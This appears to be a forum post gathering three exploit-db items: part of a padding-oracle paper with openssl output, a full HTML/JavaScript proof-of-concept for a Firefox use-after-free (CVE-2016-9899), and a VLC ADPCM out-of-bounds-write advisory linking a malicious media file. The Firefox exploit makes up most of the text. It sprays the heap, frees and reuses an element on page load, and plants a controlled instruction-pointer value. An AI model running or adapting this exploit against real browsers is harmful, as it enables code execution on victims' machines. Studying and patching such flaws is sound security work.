testfile.aes -out testdecrypt.7z salt=2F140A2A667109B6 key=C44D5867FFE37E08397DE9A4CC8058EAED59C20EB66759D7F78C960C2B91A200 iv =5F5A6DFC5CCF0A50AD7502BD047076CE bad decrypt 140193671071384:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:529: Note the three numbers we get: 1. 140341122025112 2. 140164202464920 3. 140193671071384 You can see it's different every time, so some randomness is involved here. This number is, also, what the padding oracle is mysteriously spitting out. The question is, what the hell does this number mean, and how do we interpret these results? Sursa: https://www.exploit-db.com/papers/41019/

<!DOCTYPE html> <html> <head> <!-- <meta http-equiv="refresh" content="1"/> --> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta http-equiv="Expires" content="0" /> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" /> <meta http-equiv="Pragma" content="no-cache" /> <style type="text/css"> body{ background-color:lime; font-color:red; }; </style> <script type='text/javascript'></script> <script type="text/javascript" language="JavaScript"> /* * Mozilla Firefox < 50.1.0 Use-After-Free POC * Author: Marcin Ressel * Date: 13.01.2017 * Vendor Homepage: www.mozilla.org * Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/ * Version: < 50.1.0 * Tested on: Windows 7 (x64) Firefox 32 && 64 bit * CVE: CVE-2016-9899 ************************************************* * (b1c.5e0): Access violation - code c0000005 (first chance) * First chance exceptions are reported before any exception handling. * This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Mozilla Firefox\xul.dll - * eax=0f804c00 ebx=00000000 ecx=003be0c8 edx=4543484f esi=003be0e4 edi=06c71580 * eip=6d7cc44c esp=003be0b8 ebp=003be0cc iopl=0 nv up ei pl nz na pe nc * cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 * xul!mozilla::net::LoadInfo::AddRef+0x3dd41: * 6d7cc44c ff12 call dword ptr [edx] ds:002b:4543484f=???????? * 0:000> dd eax * 0f804c00 4543484f 91919191 91919191 91919191 * 0f804c10 91919191 91919191 91919191 91919191 * 0f804c20 91919191 91919191 91919191 91919191 * 0f804c30 91919191 91919191 91919191 91919191 * 0f804c40 91919191 91919191 91919191 91919191 * 0f804c50 91919191 91919191 91919191 91919191 * 0f804c60 91919191 91919191 91919191 91919191 * 0f804c70 91919191 91919191 91919191 91919191 * */ var doc = null; var cnt = 0; function m(blocks,size) { var arr = []; for(var i=0;i<blocks;i++) { arr[i] = new Array(size); for(var j=0;j<size;j+=2) { arr[i][j] = 0x41414141; arr[i][j+1] = 0x42424242; } } return arr; } function handler() { //free if(cnt > 0) return; doc.body.appendChild(document.createElement("audio")).remove(); m(1024,1024); ++cnt; } function trigger() { if(cnt > 0) { var pl = new Array(); doc.getElementsByTagName("*")[0].removeEventListener("DOMSubtreeModified",handler,false); for(var i=0;i<4096;i++) { //replace pl[i]=new Uint8Array(1000); pl[i][0] = 0x4F; pl[i][1] = 0x48; pl[i][2] = 0x43; pl[i][3] = 0x45; //eip for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91; // pl[i] = document.createElement('media'); //document.body.appendChild(pl[i]); } window.pl = pl document.getElementById("t1").remove(); //re-use } } function testcase() { var df = m(4096,1000); document.body.setAttribute('df',df); doc = document.getElementById("t1").contentWindow.document; doc.getElementsByTagName("*")[0].addEventListener("DOMSubtreeModified",handler,false); doc.getElementsByTagName("*")[0].style = "ANNNY"; setInterval("trigger();",1000); } </script> <title>Firefox < 50.1.0 Use After Free (CVE-2016-9899) </title> </head> <body onload='testcase();'> <iframe src='about:blank' id='t1' width="100%"></iframe> </body> </html> Sursa: https://www.exploit-db.com/exploits/41042/

In modules/codec/adpcm.c, VLC can be made to perform an out-of-bounds write with user-controlled input. The function DecodeAdpcmImaQT at adpcm.c:595 allocates a buffer which is filled with bytes from the input stream. However, it does not check that the number of channels in the input stream is less than or equal to the size of the buffer, resulting in an out-of-bounds write. The number of channels is clamped at <= 5. adpcm_ima_wav_channel_t channel[2]; ... for( i_ch = 0; i_ch < p_dec->fmt_in.audio.i_channels; i_ch++ ) { channel[i_ch].i_predictor = (int16_t)((( ( p_buffer[0] << 1 )|( p_buffer[1] >> 7 ) ))<<7); channel[i_ch].i_step_index = p_buffer[1]&0x7f; ... The mangling of the input p_buffer above and in AdpcmImaWavExpandNibble() makes this difficult to exploit, but there is a potential for remote code execution via a malicious media file. POC: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41025.mov Sursa: https://www.exploit-db.com/exploits/41025/